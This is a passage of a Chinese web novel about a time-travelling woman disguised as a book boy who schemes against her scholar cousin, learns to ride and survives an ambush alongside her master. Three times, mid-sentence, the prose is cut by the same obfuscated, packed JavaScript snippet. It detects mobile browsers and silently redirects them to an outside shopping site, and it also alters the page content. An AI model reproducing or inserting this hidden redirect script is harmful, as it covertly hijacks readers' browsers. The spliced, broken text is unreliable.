陆岐拿帕子擦了擦汗,有些感慨道:“李大人上任的这几年,万安县变化实在是大。放到五六年前,城里城外可没几个人喜欢出门,山里不是拐子就是流匪,危险得紧呐。” 柳棠对这些事也知道一点,不过剧本上都只是一笔带过,倒没有陆岐那么深刻的感慨,只有一个“万安县现任县令是个干实事的好官”的印象。 柳棠扫了他一眼,觉得这人话挺多啊,怎么面对原主的时候就没什么话说。 难不成这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463589|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人脑子有病,就喜欢别人不喜欢他的样子? 陆岐察觉到她的视线,笑道:“怎么了,我脸上可是有什么脏东西?” 柳棠:你就是那个脏东西。 柳棠咳嗽一声,“李大人确实是个难得的好官,六七年前,我们这儿还不少人穿补丁衣服呢,现在也很少见了,大家的日子都好过起来了。” 陆岐点头,正色道:“极是。为官便当如李大人这般干实事、为民请命。” 柳棠看着他眼里的认真和向往,有些感慨。 有些贪官污吏也不是生来就坏的,可又有几个能在横流物欲中保持初心?可惜她的人生剧本在她身死的时候便戛然而止了,倒是不清楚陆岐最终有没有做到为民请命。 不过一个背信弃义的人能是什么好官? 柳棠心里顿时就毫无负担了。 她笑吟吟道:“气氛难得,表哥不如即兴题诗一首?” 陆岐一怔,他此刻胸中确实有豪情涌动,只是万万没想到柳棠也能体会到这种意境。 她的提议正合他心意,陆岐目光柔和,点头道:“合该如此。” 他站起来,眺望远处,沉吟一番,瞬息间便有了三句,当即吟诵出来。 “莫笑长官权势轻,所怀端可及生灵。 勤忧每见朝尝胆,劝恤遥知夜星戴。 礼节但能坚玉石,清名亦合上丹青。”① 陆岐跳下石台,走了两步,又得两句,回头笑望着柳棠,念了出来。 “他年若有牧民责,也捧丹心照汗青。” 这前三联是肯定县令李大人的功绩,后两句则是抒发他个人志向,对仗工整,朗朗上口。 柳棠不得不承认陆岐确实很有才华。 迎着陆岐的视线,柳棠为他鼓掌满足他的虚荣心,后又从自己背着的包里,取出纸笔来铺在石台平整处,笑道:“表哥作得真好,能写下来送给我么?” 陆岐一愣,心里越发高兴,大笑两声上前接笔:“有何不可!” 墨迹挥洒,豪情万丈。陆岐看柳棠的目光越发柔和。 柳棠被他看得头皮发麻,赶紧吹干宣纸,卷起来放进包里,继续赶路。 等到了寺院,柳棠又请他写了一首。 回到县城后,柳棠又让陆岐写了一首来总结今日踏秋活动。 折腾一天,陆岐回到寝室已经天黑了。回想今天一天,他又累又满足,一想到那抹嫩黄色身影,胸中顿时升起无限柔情。 他以往真是瞎了眼,竟没发现表妹是个妙人。 柳棠也累得够呛,晚上早早睡下。 县令府上。 李大人幼子李植也在县学上课,今日休沐他便回家了,跟三五好友打马归来,正巧看见了柳棠陆岐二人。 李植早听说过陆岐和柳棠是表兄妹,县学里也有不少人在传这二人的闲话,倒是第一次亲眼看见这二人走得这么近。 父亲不在家,他便照例去了东院找顾珩犯贱。 说是犯贱,其实就是他热脸贴冷屁股罢了。 顾珩不爱搭理他,但他却觉得顾珩很有逼格,跟他以前见过的那些人都不一样,就是府州里的那些个公子哥儿,也鲜有比得上这位的。 他就想找顾珩玩儿,被骂上两句就心里舒坦。 想起来了,是瑛姑总结说他这样儿是“犯贱”。 顾珩果不其然就在书房,李植跟门口的初砚哥俩好的抱抱肩,随口夸他一句“又壮了”,便飞进书房,笑嘻嘻喊:“顾表哥!好久没见啊,想我了没。” 顾珩淡定阻住要跟他勾肩搭背的李植,“离远些。” 李植被摔怕了,这会儿倒也听话,停在两步开外,看他画画。 “嗐,你这天天画反面画有什么意思,也没见你真琢磨出双面画来。” 李植骨头一软,一屁股坐在书案角上,兴高采烈地分享今日见闻:“你猜我今日出门遇着谁了?” “嘿嘿!正是花册十二的柳棠和草册第一的陆岐!” “一直听说他俩有一腿,没想到今天竟然见着真事儿了。” 顾珩手上一顿,来了兴趣:“哦?你都看见什么了?” 14. 第 14 章 李植有心想要说点劲爆的,但人家确实也没干什么出格事,且谣言最是杀人,还是不要太过分才好。 他抓了抓头发,眼神微微躲闪,“咳,其实也没什么……” 薅了把头发他突然意识到不对。 “不是,你怎么突然对这些事情感兴趣了?”李植狐疑地看他一眼,“以前不是一直无视我的吗?” 顾珩一哂,没说话。 李植也不在意,他早习惯了,此刻自个儿琢磨着琢磨着就笑起来,又伸出手去要跟顾珩勾肩搭背,“我知道了,你定是有事求我!” 只见一根蘸了墨的毛笔在他手背迅速敲了一记,李植立刻叫起来,“啊!!我新裁的秋服!” “顾璟璋!你今天完了!” 顾珩看一眼窗外,不动声色道:“你爹回来了。” 李植立刻脖子一缩,余光扫了眼窗外,只看见王管家一角衣影,匆忙忙去的方向,正是李康的院子。 父亲不在的时候,他的院子是一律不许任何人进去的。 “咳……”张牙舞爪的气势一收,李植心中一紧。他近来功课有所懈怠,被县学老师批评了好几次,担心被叫去考校功课,这会儿便想赶紧回去抱抱佛脚。 他倒不是怕被责骂,只是父亲素来不喜他修文,要是被逮着错处,怕是又要被赶去衙门的演武场上跟一帮差役县兵过招了。 他这样细皮嫩肉的,一场打挨下来,谁知道要躺上多少天? 李植面有菜色,怂怂撂下狠话:“改天再找你算账!”便抬腿匆匆而去。 顾珩的声音远远飘进耳里:“中秋节县里要开一场诗会,你好好准备一下。” 李植脚步一顿,喜道:“好表哥,这情我记下了!”他这就去找人做个十七八首诗好好背下来。 李植走远。 “初砚。” 初砚推门进入书房,“公子。” “去查查,看看我的书童今天都做什么去了。” 初砚:…… “是。” 李植走出东院后,正好又碰见折返的王管家,便试探着问:“王叔,父亲可是睡下了?” 王管家心里想着事,没看见拐角处的李植,被这一声吓了一跳,“少爷?” 他很快平复情绪,把一点忧虑藏得好好的,笑道:“老爷得中秋才能回来呢,少爷想老爷啦?” “才不是……父亲去哪了,怎的去这么久?” …… 哄着李植离开,王管家这才拿稳了东西,脚步匆匆从偏门出了府。 县令府外,一片阴影之中,停了辆不起眼的马车。 王管家走上前,恭敬地将手里紧握着的东西递出。 车里的人接过去,就要让人驾车离开,退开的王管家没忍住又上前一步,“少爷他……” 车里的人摆摆手,让他不要再说。 马车悄然远去,王管家幽幽叹了一声。 - 初砚把得来的消息报给了顾珩。 顾珩回想前几次与女装柳棠撞见,她似乎都是与陆岐在一块儿。 “我这书童业务挺繁忙啊。” 初砚静了静,道:“府外停了辆马车,王管家好像拿了什么东西给马车上的人。” “嗯。不用管。” - 天刚蒙蒙亮柳棠就醒了,在被窝里跟床榻抵死缠绵一番,才颇为怨念地坐起来。 洗漱完,柳棠收拾齐整出门,在地摊上买了一个包子一个馒头,边吃边往县令府去。 大街上人不多,店铺也大都关着门。 让柳棠惊讶的是,平常都辰时过后才开门的书肆,这会儿竟然开着门。 柳棠把剩下的馒头囫囵塞进嘴里,摸了摸怀里的三张纸,她原本打算中午来干这事儿的,既然这会儿开着门,就先问问好了。 柳棠一脚踏进书肆,却发现这里头竟已站了几位客人了,都穿襕衫,是县学生,在挑选笔墨纸砚一类东西。 柳棠揉揉鼻子,趁机遮住了半张脸,扫视一圈发现没有熟面孔后,才走到柜台以小厮的身份问那老板收不收诗文。 此话一出,那几个书生都看了过来。 书肆老板一愣,余光扫过几个书生,眼睛一转,笑眯眯道:“你家公子应是想印出来增加名气罢?我能加印,不过是要收费的,附在畅销书册上一期一字五文,一般书册一字两文。” 一个字就要五文,一首五言绝句不算题名,都要花上一百文了,但凡字多一些,岂不是要把人搞破产? 几个书生暗骂奸商,脸色难看。 真当他们读书人的钱是天上掉下来的不成,一个二个的都想方设法地要从他们身上榨钱。 几人当即放下手里挑选的东西,退出书肆。路过柳棠时,有人劝道:“县城里也不止这一家书肆,不妨让你家主子去别处看看,不定更好些。县里没有好的,府里、州里还有更大的,必不似这般欺客宰客!哼!” 几人拂袖离去。 那店老板气得要死。他本来就是为了给人还价才定的高价,谁知这几个小子竟然不懂,不由低声啐道:“穷酸玩意,也就一把犟骨头有些分量。” 柳棠目送那几人离开,倒是很佩服对方敢做敢说的态度。 那店老板见柳棠没走,便笑呵呵道:“小郎君不妨说说要求,我再给你优惠些。” 柳棠:“你诚心开个价,我再同你讲。” 店老板见柳棠不卑不亢,举止大方,既不畏缩也不张扬,心道这人主家怕是个大户,倒是不好得罪,一咬牙抛了个最低价: “畅销书册一文一字,其他一文十字,不能再低。小郎君尽管出去打听,再没有比我这儿更实惠的价了。” 一下砍了十之七八,柳棠还是有些惊讶的。 其实不论价格多少,她都是打定了主意,一定要在这家出的。 她已经打听清楚了,这家书肆背后的东家是赵家,赵家在万安县家大业大,子嗣不多,如今更是只有一个后辈在县学读书。 这个姓赵的后辈,恰恰十分讨厌各科都压他一头的陆岐。 柳棠从怀里拿出那三张纸,笑道:“那请你帮我把这三首诗印在畅销书册上面,作者一定要印清楚,他叫陆岐,陆地的陆,岐山的岐,是位很有才气的县学生。” 店老板把这个名字记下,总觉得耳熟,一时却想不起来在哪听过,便暂且按下。 随后疑惑问道:“听小郎君的意思,你不是来给自家公子办事的?” “这人的诗写得极好,可惜没什么名气。我是想帮他一把。”柳棠有些肉痛地递出去一两银子,“印大些清楚些,不要节省墨水。” “哎!一定办好,一定办好。” 柳棠面带微笑离开。 赵合作为赵家最受宠爱的后辈,他厌恶的人,赵家所有人都一定会有印象。 等中秋赛诗会的消息放出来,等大家知道赛诗会主持人是裴简这个曾任四品大员的大人物时,等各家为了抢夺这种顶级人脉而疯狂时,陆岐那惹眼的才华就是他的催命符。 咳咳……怎么感觉自己拿了反派剧本? 你可真坏啊柳棠。 柳棠捧着隐隐作痛的良心快步往县令府去。 真的不能怪她狠啊,毕竟陆岐的成长速度同样是她的催命符啊。 作为科举文主角,陆岐在成功成为权臣之前,是绝对死不了的,再说县学归县令李康管,几个大士绅还是要给县令面子的,顶多就把陆岐关起来,不让他去参加赛诗会而已。 想到这里,柳棠觉得良心好受点了,松了口气,紧接着又叹了口气。 - 踏入县令府大门,牛马的一天正式开始。 柳棠精神抖擞,大步往东院的方向走,在拐角险些和疾跑过来的人撞到一起。 柳棠眼睛险些磕在那人下巴上,她急急往后仰,蹬蹬蹬退后三步,险险站稳。 “府中不可狂奔,你……”柳棠正要学之前骂她那人骂一骂眼前这个不懂规矩的家伙,眼一错,惊见这人穿一身襕衫,眉眼傲慢,样貌正是管家前几天给她看过的画像里县令小儿子李植的模样。 对方不耐地皱眉审视:“嗯?” 柳棠腰一软就给他鞠了个躬,赔笑道:“小少爷果然英俊潇洒,腰细腿长,走起路那叫一个步步生风、龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463590|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行虎步,远不是我等凡人能走出的威势,小人眼皮浅没见过世面,望少爷恕罪。” 李植似笑非笑地看着她:“油嘴滑舌。怎么之前没见过你,新来的?倒是挺面善,叫什么名字,在哪个屋做事?” “回少爷的话,小人名叫柳堂,柳树的柳,公堂的堂,前几天刚来的,现在顾少爷身边做书童。” “柳堂?……柳棠?!”李植一惊,仔细把她一看,越看越是惊奇,这人骨相简直和柳棠一模一样! “你和柳棠……”李植伸手就要去按柳棠的眉毛,看这东西是不是真的有那么宽。 “少爷!马备好了,快走吧,要迟到了!”宅门那边一个小厮露头叫道。 李植动作一顿,柳棠反应过来连忙后退一步,心惊不已。 “你好好待着,我回来有话要问。”李植见她躲开,也不再坚持,撂下一句话匆匆走掉。 柳棠按了按自己的眉毛,背上起了一层冷汗。 心说还好这会儿天还没大亮,否则还真要露馅。看来光画不行,她得找个真毛粘上去。 只是这李植突然发什么病,怎么突然就上手要摸她眉毛? 还有那句没说完的“你和柳堂”是什么意思,是嘴瓢了,还是说的其实是“你和柳棠”? 他难道还见过原主不成? 柳棠心里一沉,决定下班回去好好精进化妆技术,并打算在下次和李植见面时,让他尝尝顾珩和瑛姑曾经的待遇。 必须把她作为男人的身份给落实下来! 进入东院,顾珩竟然还没起来。 柳棠蹲在书房门口有些无语,顾珩那狗比没给她书房钥匙,他不来开门,她就只有在外面站着。 蹲得脚都麻了,顾珩还不见踪影,初砚和瑛姑也不知道在哪,这主仆三人竟一个都没出现。 柳棠都怀疑顾珩是不是看自己刚入职就请假心里不爽,这才组织着心腹手下来给她一个下马威。 又站了一会儿,柳棠又怀疑这三人是不是被刺客给做掉了。 到杂物间拿了根长棍子,柳棠站在院子里,隔得老远用棍子捅顾珩的门。 笃笃笃—— “公子?你醒了吗公子?” “公子你还好吗?” “初砚!瑛姑!” “你在嚎什么?”一道凉凉的声音从背后传来。 微暖带寒的气息拂在颈间耳边,柳棠全身一个激灵,拿着棍子往前跳了一大步。 转过身就见顾珩一身利落的黑色贴身衣服,头发高高束起,没有戴冠,额角微微汗湿,袖子半挽,露出线条紧实的小臂,青筋微凸,手里握着一把长剑,一副刚练完功的架势。 他这模样柳棠还是第一次见,跟平日完全不同,那种捉摸不透的腹黑文人气息,被一股凌厉锋锐的气势压下去,长河落日松林竹海般畅快的江湖侠气扑面而来,刀光剑影仿佛就在眼前。 别样的美,让人心惊。 心脏开始不受控制地狂跳。 柳棠被晃得眼花缭乱,半举着手,大脑有一瞬的宕机:“嗨,公子,早、早啊。” 顾珩斜睨她一眼,绕过她进屋。 柳棠:“……” 这个宛如智障的人是我? 我在干什么? 柳棠悻悻地放下手,然后就见初砚提着两桶水过来,她赶紧给人让路,自己跑到书房门口继续蹲下了。 好一会儿,天都大亮了,顾珩才换了衣服从屋里出来,仍旧是一身利落的打扮。 柳棠走上前:“公子要出门吗?” “出去骑马。你跟着。” “哎。”柳棠就跟着顾珩往外走。 心里犯嘀咕:他出去骑马我跟着干什么,我又不会,马跑那么快,总不能是让我跟在后面跑吧? 柳棠看看面前人的背影,觉得这人应该还没有那么恶劣。 她很快就想到了一种可能:顾珩要带着她一起骑马。 柳棠眼睛一亮,想象了一下那副情景。 绿悠悠的草地上,一匹健壮的棕马驼着两人在其上缓步慢走,微风拂过,鸟语花香,她手一伸,便把顾珩劲瘦的腰身抱了满怀。 15. 第 15 章 这个想法在出门之后瞬间解体。 四匹马,四个人,一人一匹。 柳棠指了指自己,问:“我也要骑吗?” 顾珩利落上了一匹黑马,没理她,还是初砚回道:“对。” 柳棠:“可是我不会骑马啊。” 初砚:“所以给你选的这匹温顺矮脚马。” “……”柳棠这才发现有一匹马比别的要矮小些,和那马圆溜溜的眼睛对上,她竟一时不知道该做什么表情。 马的腿短不短的,性格温不温顺的,对一个不会骑马的人来说有什么区别吗? 柳棠嘴角抽搐:“公子,我就不去了吧。” 顾珩:“瑛姑,你去教她。” 瑛姑霍然抬头,不可置信:“我?我不去,让初砚去。” 初砚立刻道:“我不去。” 柳棠:我真是谢谢你们。 瑛姑冷笑:“他是男人,你也是男人,你凭什么不去?” 初砚沉默不语。他不明白公子为什么不告诉瑛姑真相,但不妨碍他利落上马扬鞭一骑绝尘。 “你*的初砚!”瑛姑低声咬牙切齿。 顾珩冷眼看着她,瑛姑嘴唇嚅动,片刻后抿唇垂眸不再反抗了。 顾珩挥鞭扬长而去。 柳棠不是很懂这三人之间的暗潮汹涌,但要她跟着瑛姑学骑马,她怕自己被摔死。 柳棠挠挠脑袋尬笑道:“哈哈,那个,你应该也不是很想教我吧,要不算了吧,我也不太想学,回头公子问起,你就说我愚不可及怎么教也教不会好了……哎!哎哎哎!” 瑛姑两步走到她身后,抓着她的后领往上一举,柳棠就这么平地升空了。 瑛姑明显心情不快,言行举止间都透露着杀气:“少废话!” 瑛姑提着柳棠用力一抛。 骤然失重,柳棠惊恐又震惊地大叫起来,然后重重摔在马背上,马儿受惊高抬起前腿嘶鸣一声,就开始疯狂往前跑。 本就裹紧了的胸膛砸在马鞍上,木头工具更是硌得腿根儿巨痛,柳棠死死抱着马脖子倒吸一口凉气,在颠簸之中,觉得自己是死去又活来,活来又死去,阎王爷的脸在她眼前出现又消失,消失又出现。 “演够了没有?” 柳棠睁开一只眼睛。 瑛姑骑在高大的红棕色马上,腰背挺直,拽着缰绳英姿飒爽。此刻正皱眉俯视着她。 柳棠只觉得瑛姑骑在高头大马上足足比她高了一两米,压迫感贼强,飒极了,也让人害怕极了。 “抓紧缰绳,脚放马镫上,直腰,勒马!”瑛姑冷脸指挥。 柳棠也不废话,咬牙一一照做,数次尝试之后,马儿长嘶一声,果然停下。 柳棠心中惊喜,没想到自己这么厉害,不由看向瑛姑。 瑛姑冷哼一声,“小腿贴在马腹,驱其向前。” 柳棠就学着电视里那样,用腿轻夹马腹,马儿果然开始往前走。 出了城门,柳棠也适应了不少,除了大腿内侧些微有些不适,她感觉骑马还是没什么难度。 正有些自得呢,瑛姑一鞭子摔在她矮马屁股上,马儿吃痛疯狂往前跑。柳棠猝不及防,整个上身猛地往后一仰,颠簸剧烈,脖子差点断掉,疾风呼啸,呼吸不畅,柳棠为自己悲惨的遭遇贡献尖叫两声,开始拽缰绳试图让马停下。 结果拉偏缰绳,马儿头往右猛偏,速度不停,竟然往河沟的方向跑了。 两旁的树枝啪啪地扇着琉月耳光,又挡视线又痛,柳棠勒不住马开始大喊救命。 瑛姑见她被折腾得够呛,乐得哈哈大笑,终于在最后一刻驱马上前,弯腰拽着柳棠的缰绳,配合着一声响亮的“吁~”,马儿险险在河道边上停下。 柳棠哆哆嗦嗦地爬下马,一路上担惊受怕,全身都火辣辣的疼,偏偏有瑛姑在场,她还不好摸裆摸胸安抚,整个人又气又委屈。 她什么时候受过这种罪?偏偏她还挺能理解瑛姑。 柳棠红着眼睛流下了憋屈的泪水。 瑛姑一转头就见这狗男人一副饱受摧残的样子,倒在地上默默流泪,不由一愣。 这男人未免太妩媚了点。 一种诡异的别扭感让人无所适从。 瑛姑皱着眉头上去照着人屁股就踹了两脚,“大老爷们儿骑个马哭成这样,恶不恶心,给我起来!” 柳棠吸吸鼻子,自穿越过来后的所有委屈都在此时爆发,泪水滔滔不绝。 “呜呜呜……你踢死我算了,我不活了,我怎么这么命苦啊,我只是想安生活下去而已,为什么要这么刁难我呜呜呜……”该死的贼老天,我要借盘古的开天斧劈死你丫的呜呜呜。 瑛姑顿了一下。 觉得这皱巴巴的男人除了恶心猥琐懦弱胆小听不懂人话之外,确实是有那么一丁点的极微小的可怜的。 但她看不惯。 瑛姑猛踹柳棠屁股,“起来起来起来,别装可怜了,公子又不在这儿,装给谁看呢,指望我给你扔二两银子?做梦!” “快点起来,别逼我拿刀!” 柳棠颤巍巍站起来,抖着手指她:“你会后悔这么对我的。” 瑛姑刚觉得他有那么一点点可怜,这会儿听了这话就变成十分的可恶了,冷笑着道:“我等着瞧你会怎么让我后悔。” - 在瑛姑极负责任的监督下,柳棠花了一天时间学会了骑马。 傍晚,四个人两队人马终于汇合。 柳棠在顾珩两人面前忍着痛骑马遛了两圈,酸爽无比地展示了一圈自己的马术,包括但不限于“站着骑、斜着骑”,丝滑展示完毕后,说实话心里多多少少少少是有点骄傲的。 一天学会骑马,还骑得这么溜,她就是这么牛逼! 当然瑛姑教得也还算不错啦!要是能不那么暴力的话,她还是愿意打一百分的,但现在这个情况,她只能给到60。哼! 回城的路上,柳棠因为马比较矮,因此清楚看见了顾珩和初砚鞋边偏底部的暗红痕迹。 那种后背发凉的感觉又袭上来,原本凉爽宜人的空气似乎都带上了一丝血腥味。 柳棠心中翻涌着的各种躁动情绪全部沉寂下来,老老实实扮演着自己书童的角色。 太阳西落,晚霞遍布,然而不到一刻钟,她们正前方的天上,火烧云颜色黯淡下来,越来越多的云聚在一起,黑压压连成一片。 呼啸的风声变得尖利而又冰凉,衣服被吹得紧紧缠在身上。 刹那间,氛围全变,有一种山雨欲来的强烈压迫感。 除了风声、马蹄落下的声音,这片天地出奇的静,连虫鸣也听不见一声了。 最前方的顾珩衣衫猎猎,长发飞扬,他驱着马缓缓停了下来。 前方不远处,是一片村庄。 到了该做饭的时候,却不见一缕炊烟,黯淡的天色下一点亮光也不见有,仿佛蛰伏着什么可怕的东西,柳棠莫名打了个寒噤。 初砚和瑛姑也跟着勒马,神色凝重地看着前方。 柳棠不明所以,不安地勒马,停在了三人之后。 就在这时,柳棠听见了密集的鼓点声远远传来,她茫然四顾,不明白这荒郊野岭的哪里来的鼓声。 直到那一片黑色越来越近,鼓点声越来越大,柳棠不禁瞪大眼睛。 林子里冲出来好多骑马的黑衣人,从四面八方包围而来。 柳棠此时终于明了。 这些人是来杀顾珩的。 她在心里骂爹喊娘。她就说了她今天不骑这破马了非要让她骑!骑骑骑骑骑,这踏马还能有命回去?! 她要是临场叛变对面能不杀她不? 然而已经来不及了,“咻咻”破空声起,满天的箭矢黑雨一样射了过来。 柳棠大惊失色。 她只是个普通的牛马啊,为什么要让她面对这么恐怖的事情,她不会万箭穿心而死吧?想想都痛啊! 求生本能作祟,她驱马冲进了顾珩初砚瑛姑三人之间的三角空隙。 心里祈祷让这三个罪魁祸首死完了再让她死。不,她不能死。换一个换一个,等这三个罪魁祸首死完了她就不用死了。 刚许完愿,就见三人拔剑的拔剑,拔刀的拔刀。都有武器傍身,只有她,一颗心拔凉。 来不及吐槽,一片黑雨已经落在头顶,随即而来的是一片金属碰撞的声音。 柳棠抱着脑袋不敢抬头,只抓着缰绳死死盯着顾珩的马屁股,只要对方往前冲,她也跟着往前冲。 过了一会儿,身体好像适应了这种紧张,柳棠看着漫天剑雨,看着三人转动兵器疯狂挡箭,心里竟然平静了下来,她竟然变态地胸中激升一股豪情,让她想要作诗一首。 柳棠沉吟片刻,高声道: “活命难,难活命,命中有难活不了!” “赚钱难,难赚钱,命中无财活受罪!” 顾珩嘴角抽搐,百忙中骂道:“念的什么东西?” 初砚:“你能闭嘴吗?” 瑛姑:“疯子!” 柳棠悻悻闭嘴。书到用时方恨少,早知道就学学怎么写诗了,这样的环境下,又有她这样悍不畏死的豪情,合该留下一首绝命诗供后人背诵传唱的,说不定还能写入后世课本,成为中考或者高考的考题,让考生们分析一下作者写这首诗时的心情。 就在这时,对面不再放箭了。第一波体力消耗完毕,对面直接骑马来攻了。 后面具体如何,柳棠已经有点麻木了,她只记得一个又一个人杀来,想要取他们四人性命,但都被顾珩三人斩于马下。 轰隆隆雷声过后,暴雨瓢泼而下,她被顾珩一把拉到自己的马上,三个人化作一柄利剑,往一个方向杀出一条血路。 冲出包围,后面又开始放箭。 顾珩一个手势落下,三个人分三个方向逃窜。 “你来骑马,往前面林子里跑。”顾珩淡定的声音落在耳中,柳棠手里多了根湿透但仍留有温热体温的缰绳。 顾珩手中长剑挥出残影,将箭矢尽数格挡。 柳棠手指颤抖,不敢怠慢,握着缰绳狠夹马腹,往前方山林猛冲。 夜色越发浓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463591|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,耳边尽是雷声轰鸣。 柳棠回头看了一眼,对方的马不如顾珩的好,已经缓慢拉开距离了。 顾珩不知怎么的,突然重重压在她背上,他胸膛滚烫,将她烫得一个哆嗦。 柳棠在雨中大喊:“公子?你没事吧?” “有点累了而已,没事。” 滚烫的温度远离,柳棠咬住了唇,顾不上疼痛,催促着马儿快点,再快点。 过了好一会儿,顾珩贴在她耳边道:“弃马,下坡,躲起来。” 柳棠连忙勒马照做,跳下马后,狠狠一拍马屁股,马儿便继续往前狂奔。 她扶着虚脱的顾珩下坡,泥地湿滑,脚下一个不稳,两个人当场滑倒,各自滚下山坡。 柳棠护着脑袋,也不知连撞了多少棵树,浑身痛得要死,好容易稳住身形,等她头晕眼花摇摇晃晃地站起来,四周一片漆黑,哪里还有顾珩的影子。 柳棠心里着急,在自己掉下来的位置到处张望,哑声低唤:“公子?公子!” 她怕顾珩把自己甩掉了,怕被前来追杀的人发现端倪追上来把她杀了,也怕林子里的野兽出来把她吃了。 之前说着不怕死,但若身处一片诡谲的黑暗之中,独自一人面对未知的危险,那种恐惧感远超越了死亡本身。 绝望之时,手上突然传来冰凉的触感。 柳棠被猛地拉进了一个逼仄的洞穴,嘴被牢牢捂住,顾珩的气声贴着耳朵:“别出声,别动。” 柳棠赶紧点头。 捂着她嘴的手便松开了。 柳棠微微放松了身体,半蹲着的姿势太过难受,她缓缓蹲下身子,准备缓解一下腿酸。 刚蹲下去一点,身下就传来坚实的触感,形状有点奇怪,不像是泥土地面。 柳棠懵了一下,下意识伸手去摸,刚摸上去,手背就被人用力拧了一把。 痛! 柳棠皱眉小口吸气,立刻反应过来她摸的是顾珩的大腿,连忙收回手。 小气的男人! 不就不小心摸了下大腿吗,还掐她! 这处山洞着实逼仄,她就算是半蹲着身体,头都得顶着洞顶的泥土,然而身体稍微往下一点,就又挨上了顾珩的大腿。 柳棠就以这种扭曲的姿势苦苦坚持,稍微松懈一下,就要被那个该死的男人拧着肉狠命地掐。 头顶似乎传来有人走过的窸窸窣窣的声响,柳棠忍下翻腾的怒火,咬牙切齿地撑着墙神色狰狞地蹲马步。 能坚持这么久全凭一股子信念撑着:他*的等她安全回到县城,她要把顾珩按在墙上又搂又抱又亲又啃,一鼓作气把所有限制文任务一次性全做完了从此离开这个视人命如草芥的鬼地方,回到她可亲可爱的现代逍遥自在。啊啊啊啊他*的,她要坚持不住了! 也不知道过了多久,柳棠觉得自己下半身快要变成石头了,她已经感觉不到酸痛了,就是软,纯软,不受她控制的软。 柳棠身子一晃,一屁股坐了下去。 屁股终于有了存放之地,久违的舒爽感直冲大脑。 天,能坐、有的坐是一种多么幸福的体验,原谅她从前不识抬举了,竟然忽略了这样一种极致的享受和快乐呜呜呜。 柳棠感动地想要流泪。 就在这时,熟悉的刺痛感又来了,那只该死的手又在掐她了。 柳棠忍无可忍,反手回敬他一阵猛掐。 你*的掐我那么久掐够了没有?!你想让我起来我就偏不起来,凭什么你能坐着我不能? 两个人忍着痛,咬牙切齿地狠狠互掐。 直到耳边响起一声无奈的笑,“你还要掐着我多久?” 柳棠才猛然发现顾珩好像已经很久没掐着她了,她松了手,放松了脸部肌肉,牙根一阵泛酸。 “人走了?”柳棠同样低声问。 “嗯。” “那我们现在怎么办?” “换个大点的地方。” “哦。”柳棠撑着墙站起来,然而腿一软又重重坐了回去。 顾珩闷哼一声,轻声调笑道:“还没坐够?就这么喜欢坐我身上?” 柳棠看他还有心思开玩笑,便知道危险暂时解除。 柳棠想到自己蹲了那么久的马步就来气,咬牙道:“你要是蹲那么久的马步,你也站不起来。” 不过这狗比声音确实得天独厚,那点沉闷的笑声酥得没边儿了。 柳棠搓了搓耳朵,往外面望了望,有些不确定道:“这么黑,真的能找到更大的山洞?不会遇到野兽吧?” “唔…我知道在哪。” “那你起来带路啊!” “腿软起不来了,你扶我一下。” 柳棠:你壮得跟牛似的你站不起来?你是不是变态啊,怎么男的也撩啊,我现在是个男的啊你忘了吗,要不要我帮你回忆回忆? 柳棠东想西想,还是把人扶起来了。 摸索好了位置,柳棠正要迎面抱上去,就被这人按着脑袋推开了。 “是我的错觉吗,你好像一见到我,就很饥渴。” 16. 第 16 章 “!?” 柳棠一惊之下,脸上开始发烫,下意识抬头去看他。 然而黑灯瞎火的看不清脸,柳棠也不知道他是用什么表情说出的这话,但听语气似乎是带一点调侃味道的。 柳棠就立刻笑着怼了回去:“公子着实有颗七窍玲珑心,是我们这些人万不能及的。若有人听我腿软站不起来而扶我一把,但因伸手不见五指而出了些差错,我是绝对想不到公子所想的这一层的。” 她会对一个书中的纸片人饥渴难耐?笑话。 她所做的一切都是为了完成系统任务而已。 “那看来是我多虑了。”顾珩低低笑了一声,有点嘲讽意味,落在柳棠耳里就是他纯纯在自嘲了。 柳棠:没错,你就是淫者见淫。还无比自恋。 柳棠代入角色很有信念感,越想越是不平,感觉自己人格受到了侮辱,甚至觉得这人该为他脑子里的龌龊念头而向自己道歉。 当然也只是这么一想。 柳棠很有骨气地往外走了两大步,身上湿衣服被冰凉的夜风一吹,冻得人直打颤,漆黑的夜里伴着哗哗的雨声,几乎看不清路听不着除雨声以外的一切动静。 柳棠哆哆嗦嗦地后退一步。 这下雨刮风的深夜荒山里,有野兽有追兵,她野外生存经验为零,还不认路,实在不是展示骨气的好时候。 柳棠撇下一根树枝,往后一伸:“公子,您说方位,小人走在前面探路,您抓着这根树枝慢慢来。” 